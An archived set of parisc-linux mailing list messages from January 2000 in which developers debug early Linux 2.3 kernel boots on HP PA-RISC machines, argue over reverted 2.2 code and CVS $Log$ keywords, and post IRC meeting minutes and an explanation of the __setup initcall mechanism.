On the L-class (ok, just for a giggle, and the room was too cold :-) :

Transferring control to kernel. (At entry point 0x00010000)
!.
************* SYSTEM ALERT **************
SYSTEM NAME: uninitialized
DATE: 01/12/2000 TIME: 21:22:19
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     OFF        ON

0x0000307000FF6292 00000000 00000000 - type  0 = Data Field Unused
0x5800387000FF6292 00006400 0C151613 - type 11 = Timestamp 01/12/2000 21:22:19
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:

which is not something I've seen before.  Is this at all familiar to
someone else?  This is presumably being generated by the PAT PDC, so
maybe someone with N-class experience could tell me a bit about it?


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C360 shellprompt
Date: Wed, 12 Jan 2000 19:22:53 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <20000112192253.F11300@thepuffingroup.com>
References: <20000111155321.A14792@tux.mkp.net> <20000112164152.C11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618730 29696 80.91.229.3 (22 Nov 2014 01:12:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:10 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@mkp.net>
Original-X-From: willy@thepuffingroup.com  Wed Jan 12 18:22:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06372
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 Jan 2000 18:22:39 -0700
Original-Received: (qmail 10043 invoked by uid 15267); 13 Jan 2000 00:23:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10026 invoked from network); 13 Jan 2000 00:23:11 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2000 00:23:11 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id TAA24206;
	Wed, 12 Jan 2000 19:22:53 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000112164152.C11300@thepuffingroup.com>; from Matthew Wilcox on Wed, Jan 12, 2000 at 04:41:52PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6702

On Wed, Jan 12, 2000 at 04:41:52PM -0500, Matthew Wilcox wrote:
[...]
> bad magic 6a930530 (should be c0030a80), wq bug, forcing oops.

Found this one.  It's my fault in the HIL driver.  Turn off CONFIG_HIL
and things progress further:

execve /sbin/init c00df008 c00df030
do_execve
reading c005cf70 cffe8808 cffe85c8 128
pgc bad case
getting new pages ...
got c144c040 to c144c43c
gcp 00000000 19 0 = c144c040 (c005cc7c)
readpage: c006ddc8
page_ok
returned 128
02100108 05124000 00000000 00000000
00000000 00000000 000039c3 00000080
000000b4 00045574 40006d38 00000138
00000004 000001c8 00000013 000004fc
00000000 000004fc 000001e8 000004c0
00000003 000006e4 00000000 000006e4
00000000 000006e4 00000000 000006e4
00000000 00045000 00000574 4702100b
gcp 2001f000 19 0 = c144c43c (c007277c)

[ i thought that bit might be of interest ]

map_som_binary
do_mmap cff260e0 00001000 0003f000 00000005 00001806 00000000
miscoloured mmap
do_mmap cff260e0 40001000 00006000 00000007 00001806 0003f000
miscoloured mmap
do_mmap 00000000 40007000 0000f000 00000007 00000006 00000000
miscoloured mmap

which looks slightly offputting.

stack_base 2001f000 cff1f000
mem_map disagrees with c144c43c at 2001f000
set_pte cff2007c 0ff1f047
create_som_tables
sp 2001ffd8
hey.

the `disagrees' part made me snip this little section out.

The last lines before I get nothing more reads:

gcp 0000e000 19 0 = c144c3f8 (c005bb9c)
pgc bad case
getting new pages ...
got c144b7c0 to c144bbbc
gcp 0000f000 19 0 = c144bbbc (c005bb9c)
gcp 00003000 21 0 = c144b88c (c005d550)
new_page c144b88c flags 00000000
new_page c144b88c flags 00000000
cfef3000 cff12000
new_page c144b88c flags 00000000
new_page c144b88c flags 00000000
set_pte cff0f00c 0fef300b

so i don't actually get a prompt on the c3k, but we're closer.
On the A180, it stops right before the `hey'.  It has the same
value for `sp' as the C3k.


From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.3 whining
Date: Thu, 13 Jan 2000 08:43:40 -0700
Lines: 96
Approved: news@gmane.org
Message-ID: <E128mPU-0000c6-00@endor.fc.hp.com>
References: <387D2F0A.F41A4129@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618730 29698 80.91.229.3 (22 Nov 2014 01:12:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:10 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu Jan 13 09:43:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA10995
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jan 2000 09:43:17 -0700
Original-Received: (qmail 11527 invoked by uid 15267); 13 Jan 2000 15:43:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11503 invoked from network); 13 Jan 2000 15:43:45 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2000 15:43:45 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id CD6F119FA
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Jan 2000 07:43:40 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 128mPU-0000c6-00; Thu, 13 Jan 2000 08:43:40 -0700
In-reply-to: Your message of "Wed, 12 Jan 2000 20:48:58 EST."
             <387D2F0A.F41A4129@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6703


A lot of code cleanup occurred and several defects were fixed in 2.2
since the beginning of December.  Much of this effort (my effort is
why I'm upset, and some good efforts by John David Angelin too) is now
gone.  The dirty code and defects, which *were* fixed, are now holding
us all back in 2.3!  Things could've been done better.

When the 2.3 CVS tree was started, it would've been better to copy the
RCS files (and tag the 2.2 ones) instead of checking in a newly-numbered
revision with no past
history attached.  Because of the way it was done, it's unnecessarily
difficult to tell which 2.2 file version was used to begin the
2.3 port (because all the versions are 1.1 again), and thus
difficult to figure out which changes need to be re-merged.  Also the
comments from the previous authors have been lost in the 2.3 tree.

In going to 2.3 the realmode embedded executable stuff I designed has
been obliterated.  I don't know how this was decided but I was not part
of the decision.  Even though it might be the right long-term answer,
consequently we now have fragile real-mode C code as we had before, so it
is not a simple matter to re-merge the 2.2 fixes into 2.3
because you're working against the compiler and some other structural
differences, leaving us with a nice mess.  (jsm thought up a nice
way to avoid my realmode hack, but I have no incentive to
start coding that to see it disappear too).

If my hacking is unhelpful to palinux, I would prefer knowing
that *before* making changes rather than finding out *after*
doing a bunch of work and watching it disappear.

I'm owed an explanation of why the realmode embedded executable
was wrong for the project and is now gone.
And an explanation of why the defects and improvements
I (and JDA) contributed were wrong for the project too.  I'm willing
to learn.

        -P

X-From-Line: hppa-linux@thepuffingroup.com  Fri Mar 12 07:50:14 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id HAA00758
	for <pcj@merlin.pcj.primenet.com>; Fri, 12 Mar 1999 07:50:12 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Fri, 12 Mar 1999 07:50:13 PST
Received: from smtp02.primenet.com (daemon@smtp01.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id DAA18728
	for <pcj@smtp-local.primenet.com>; Fri, 12 Mar 1999 03:29:29 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id DAA12827
	for <pcj@primenet.com>; Fri, 12 Mar 1999 03:29:27 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd012771; Fri Mar 12 03:29:17 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id FAA18792;
	Fri, 12 Mar 1999 05:29:06 -0500
Resent-Date: Fri, 12 Mar 1999 05:29:06 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Fri, 12 Mar 1999 12:28:40 +0200 (EET)
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Boot #4
In-Reply-To: <36E8BA21.73C516FC@home.com>
Message-ID: <Pine.HPX.4.05.9903121227410.1334-100000@gamgee.ntc.nokia.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Resent-Message-ID: <"wmtuN.0.Sb4.onEws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/178
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-MIME-Autoconverted: from 8bit to base64 by sod.res.cmu.edu id FAA18792
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by primenet.com id DAA18728
X-UIDL: aa4d2509c34a54b825d5d83678ad85db
Lines: 13
Xref: merlin.pcj.primenet.com palinux:149

Hi!

Tested bootstrap #4 with 735 (rbootd) and it worked OK.

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.3 whining
Date: Thu, 13 Jan 2000 11:43:13 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20000113114313.J11300@thepuffingroup.com>
References: <387D2F0A.F41A4129@thepuffingroup.com> <E128mPU-0000c6-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618731 29702 80.91.229.3 (22 Nov 2014 01:12:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: willy@thepuffingroup.com  Thu Jan 13 10:44:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA11867
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jan 2000 10:44:46 -0700
Original-Received: (qmail 15620 invoked by uid 15267); 13 Jan 2000 16:45:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15580 invoked from network); 13 Jan 2000 16:45:18 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2000 16:45:18 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA26327;
	Thu, 13 Jan 2000 11:43:13 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <E128mPU-0000c6-00@endor.fc.hp.com>; from Paul Bame on Thu, Jan 13, 2000 at 08:43:40AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6704

On Thu, Jan 13, 2000 at 08:43:40AM -0700, Paul Bame wrote:
> A lot of code cleanup occurred and several defects were fixed in 2.2
> since the beginning of December.  Much of this effort (my effort is
> why I'm upset, and some good efforts by John David Angelin too) is now
> gone.  The dirty code and defects, which *were* fixed, are now holding
> us all back in 2.3!  Things could've been done better.

It isn't gone.  It's all still there in the 2.2 tree.  All that needs to
be done is to move the fixes across to the 2.3 tree.  There are plenty of
examples of this sort of thing in regular Linux development.  Just ask
Alan; he's moved fixes from 2.0 to 2.2 and is right now moving fixes
to 2.3 from the 2.2 branch.  I appreciate it's not a simple process,
but it's a lot easier than tracking down all the bugs again by hand.
I attempted to reinsert some of your changes, but I really didn't
understand the code well enough to do it.

> When the 2.3 CVS tree was started, it would've been better to copy the
> RCS files (and tag the 2.2 ones) instead of checking in a newly-numbered
> revision with no past
> history attached.  Because of the way it was done, it's unnecessarily
> difficult to tell which 2.2 file version was used to begin the
> 2.3 port (because all the versions are 1.1 again), and thus
> difficult to figure out which changes need to be re-merged.  Also the
> comments from the previous authors have been lost in the 2.3 tree.

The trouble is that doing it the way you suggest was almost impossible.
The only realistic way to get the 2.3 stuff running was to  apply the
diff between 2.2.x and the parisc tree to Linus' 2.3 tree which is not
maintained in CVS.  As a result, yes, we lost the tags.  I did attempt
to explain to you that we can retrieve diffs between any given date that
you want; such as the start of December and now in the 2.2 tree.

Those $Log$ comments are a really bad idea, btw.  They grow too long
and contain too much irrelevant crap.  If you want to write a comment,
add it manually.

> And an explanation of why the defects and improvements
> I (and JDA) contributed were wrong for the project too.  I'm willing
> to learn.

They weren't wrong for the project, they just slipped into a crack.
If I understood this section of the kernel well enough, I would have
added them back before we opened the 2.3 tree.


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.3 whining
Date: Thu, 13 Jan 2000 10:37:13 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <E128oBN-0000kX-00@endor.fc.hp.com>
References: <20000113114313.J11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618731 29705 80.91.229.3 (22 Nov 2014 01:12:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Thu Jan 13 11:38:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12260
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jan 2000 11:38:00 -0700
Original-Received: (qmail 19515 invoked by uid 15267); 13 Jan 2000 17:38:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19504 invoked from network); 13 Jan 2000 17:38:33 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2000 17:38:33 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id 7394E1948
	for <parisc-linux@thepuffingroup.com>; Thu, 13 Jan 2000 09:38:29 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 128oBN-0000kX-00; Thu, 13 Jan 2000 10:37:13 -0700
In-reply-to: Your message of "Thu, 13 Jan 2000 11:43:13 EST."
             <20000113114313.J11300@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6705


My point isn't that we *can* recover, since surely we will.  Nor is
it about mechanistic CVS procedures, with which I'm familiar enough
to do date-based diffs and merges.

In *effect* we reverted a lot of code -- trashing our own efforts
without a good reason that I've heard.  "Falling through the cracks" is not
something I allow from our caliber of folk.  Whenever we revert someone's
code, especially without consultation with them, we make a pretty
clear statement about how much we don't value their effort.  AND if
there was value in the lost code, we have a bunch of re-work to do
thus the project loses ground.  It hurts the people AND the project.

When I was doing the embedded realmode stuff, which took me quite a
while, I thought it was my duty to continually bring in the changes
others were making to those same files, so that when I committed we
would have the product of all the authors' efforts, not just mine.
The lesson I could take from our 2.3 code reversion is that I
needn't bother eh?

As for $Log$, I abhor using that in source code.  But I think the
check-in comments, aka from 'cvs log', are a valuable part of the
authors contribution, and reverting them is just as damaging and
insulting as reverting the code itself.

I can start putting my 2.2 changes back into 2.3, but since I don't
know the reason for their reversion, I really don't have a good
basis upon which to select which features to bring forward and which
to leave.  Without the realmode hack some of the features we had in
2.2 can't be coded in C.  Should I re-hack the realmode thing or
something which solves the same problem?  Will *that* just get reverted
too?

The mechanistic details of diffs and merges are not the issue here.

		-P

P.S. I wish we had started the 2.3 port like this:

on puffin.external.hp.com:

cp -r /home/cvs/parisc/linux/arch/parisc /home/cvs/parisc/linux-2.3/arch
cp -r /home/cvs/parisc/linux/include/asm/parisc /home/cvs/parisc/linux-2.3/asm


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.3 whining
Date: Thu, 13 Jan 2000 21:42:54 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <200001132042.VAA07253@pallas.spacetec.no>
References: <willy@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618731 29707 80.91.229.3 (22 Nov 2014 01:12:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:11 +0000 (UTC)
To: Matthew Wilcox <willy@thepuffingroup.com>,
        Paul Bame <bame@endor.fc.hp.com>, parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Thu Jan 13 14:42:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA13820
	for <parisc-linux@puffin.external.hp.com>; Thu, 13 Jan 2000 14:42:26 -0700
Original-Received: (qmail 20919 invoked by uid 15267); 13 Jan 2000 20:42:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20887 invoked from network); 13 Jan 2000 20:42:57 -0000
Original-Received: from pallas.spacetec.no (192.51.5.92)
  by mailserv2.iuinc.com with SMTP; 13 Jan 2000 20:42:57 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id VAA07253;
	Thu, 13 Jan 2000 21:42:54 +0100
In-Reply-To: Matthew Wilcox <willy@thepuffingroup.com>
       "Re: [parisc-linux] 2.3 whining" (Jun  5, 12:25)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
Xref: news.gmane.org gmane.linux.ports.parisc:6706

I'll leave the rest of the CVS discussions to you guys, however:

On Jun 5, 12:25, Matthew Wilcox wrote:
>Those $Log$ comments are a really bad idea, btw.  They grow too long
>and contain too much irrelevant crap.  If you want to write a comment,
>add it manually.

This point cannot be stressed enough. $Log$ is an *extremely* bad idea
if you use CVS (it was an ok feature for RCS).  Among other things it makes 
merges between CVS branches a nightmare: whenever you merge you will get a
conflict in the $Log$ entries which has to be fixed manually, then you 
commit the fixed file, which adds *another* $Log$ entry etc. 
You will have to manually edit *every single changed file* when you merge, 
you lose CVS's otherwise quite good merging capabilities.

It's a good idea to remove any trace of $Log$ whenever you find one
in a file.  It will raise its ugly head again in the next merge but
eventually you'll get rid of them.

-Tor


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Minutes
Date: Fri, 14 Jan 2000 17:27:21 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20000114172721.V11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618732 29709 80.91.229.3 (22 Nov 2014 01:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Jan 14 16:26:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA22264
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jan 2000 16:26:50 -0700
Original-Received: (qmail 28364 invoked by uid 15267); 14 Jan 2000 22:27:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28347 invoked from network); 14 Jan 2000 22:27:22 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2000 22:27:22 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA28990
	for parisc-linux@thepuffingroup.com; Fri, 14 Jan 2000 17:27:21 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6707


Summary of the IRC meeting held 14/Jan/2000

Participants:

Michael Ang
Paul Bame
Grant Grundler
R. Scott Holbrooke
David Kennedy
Dave O'Neill
Martin Peterson
Philipp Rumpf
Matthew Wilcox

1. The 2.3 configuration needs some work.  David will investigate.

2. The decision was taken to not forward-port the real-exe code from 2.2
   to 2.3.  Philipp will write some documentation about how to debug
   real-mode assembler code.

3. PCI has been tested to a limited extent.  It enumerates devices, but
   an unrelated bug is preventing further testing.

4. Martin has cleaned up the serial and console code.  He will commit his
   changes tomorrow after he's tested it.

5. Scott has looked at the checksumming code and will hopefully get some
   time to work on it this coming week.

6. Paul has been looking at ftr's debug code.

7. Matthew will describe the new __initcall feature in an email to the list.

8. Paul is thinking about a wide-mode bootloader.

9. Dave is working on getting the SOM linker to work on i386 Linux.  philipp
   has some additional patches he will send.

10. Signals were discussed and no-one felt that they wanted to deal with
    them.

11. Deb was nominated to draw a martini glass.


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] initcall and setup
Date: Fri, 14 Jan 2000 17:48:31 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20000114174831.W11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618732 29712 80.91.229.3 (22 Nov 2014 01:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Jan 14 16:47:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA22553
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jan 2000 16:47:56 -0700
Original-Received: (qmail 6939 invoked by uid 15267); 14 Jan 2000 22:48:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6928 invoked from network); 14 Jan 2000 22:48:32 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 14 Jan 2000 22:48:32 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA29010
	for parisc-linux@thepuffingroup.com; Fri, 14 Jan 2000 17:48:31 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6708


One of the things which has changed during 2.3 development is
initialisation.  We used to have files full of:

#ifdef CONFIG_FOO
	init_foo();
#endif

#ifdef CONFIG_BAR
	init_bar();
#endif

#ifdef CONFIG_QUUX
	init_quux();
#endif

which was pretty ugly stuff.

Instead, we have declarations like:

__setup("video=", video_setup);
__setup("wd33c93", wd33c93_setup);
__setup("es1370=", es1370_setup);

in each driver and then a loop in init/main.c which goes through and
calls all the __setup functions.  Much prettier, more modular, less
dependent on CONFIG_, etc.

Unfortunately, we can't take advantage of this, because we don't yet have
ELF tools.  This is implemented through an ELF section called __initcall
which contains the address of the function to call.  We could try to hack
something together with SOM, but I'd really rather not put the work in
that will just be dumped later.


This explains why we get some of the warnings on compilation;' eg:

init/main.c:170: warning: `__setup_profile_setup' defined but not used

and why if you diff our kernel against Linus', you will find that we have
reinserted some of the explicit calls to the setup routines that have
been eliminated from the mainline tree.  It also explains why sometimes
a driver may not be called even though you compiled it in.


From - Thu Nov 08 21:11:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Minutes
Date: Fri, 14 Jan 2000 16:16:42 PST
Lines: 34
Approved: news@gmane.org
Message-ID: <200001150016.QAA16991@chrome.rose.hp.com>
References: <20000114172721.V11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618732 29713 80.91.229.3 (22 Nov 2014 01:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com (Matthew Wilcox)
Original-X-From: kirkb@chrome.rose.hp.com  Fri Jan 14 18:14:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA23123
	for <parisc-linux@puffin.external.hp.com>; Fri, 14 Jan 2000 18:14:24 -0700
Original-Received: (qmail 16394 invoked by uid 15267); 15 Jan 2000 00:15:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16377 invoked from network); 15 Jan 2000 00:14:59 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Jan 2000 00:14:59 -0000
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by palrel1.hp.com (Postfix) with ESMTP
	id 0083A304; Fri, 14 Jan 2000 16:14:58 -0800 (PST)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id QAA16991; Fri, 14 Jan 2000 16:16:42 -0800 (PST)
In-Reply-To: <20000114172721.V11300@thepuffingroup.com>; from "Matthew Wilcox" at Jan 14, 100 5:27 pm
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6709

FYI --

| 4. Martin has cleaned up the serial and console code.  He will commit his
|    changes tomorrow after he's tested it.

In testing the 2.3 kernel on my D320/1 with an Access Port (AP) card as
the console, printk() appeared to be broken.  The mprint() statements in
the boot loader seem to function correctly, and the pdc_putc('.')  at
the end of realmode_setup() works, but the printk() at the start of
iodc_con_init() never outputs.  The chassis codes sent out in
realmode_setup() do appear properly on the AP console.

Now the interesting thing in a D-Class with an AP card installed is that
the RS-232 connector on the back of the machine is dis-connected from 
the LASI serial hardware and connected to the AP card hardware. Because
of this, regardless of what console path is stored on the machine, the 
AP card console is what is used, so that there will always be console
outptu. When I changed the stored path from the LASI RS-232 path to the 
AP card RS-232 path, the printk() succeeds. So, there must be something 
in printk() which is getting confused between what console is actually
in use and what console is the stored path.

That aside, the kernel appears to hang at the first __put_user() macro
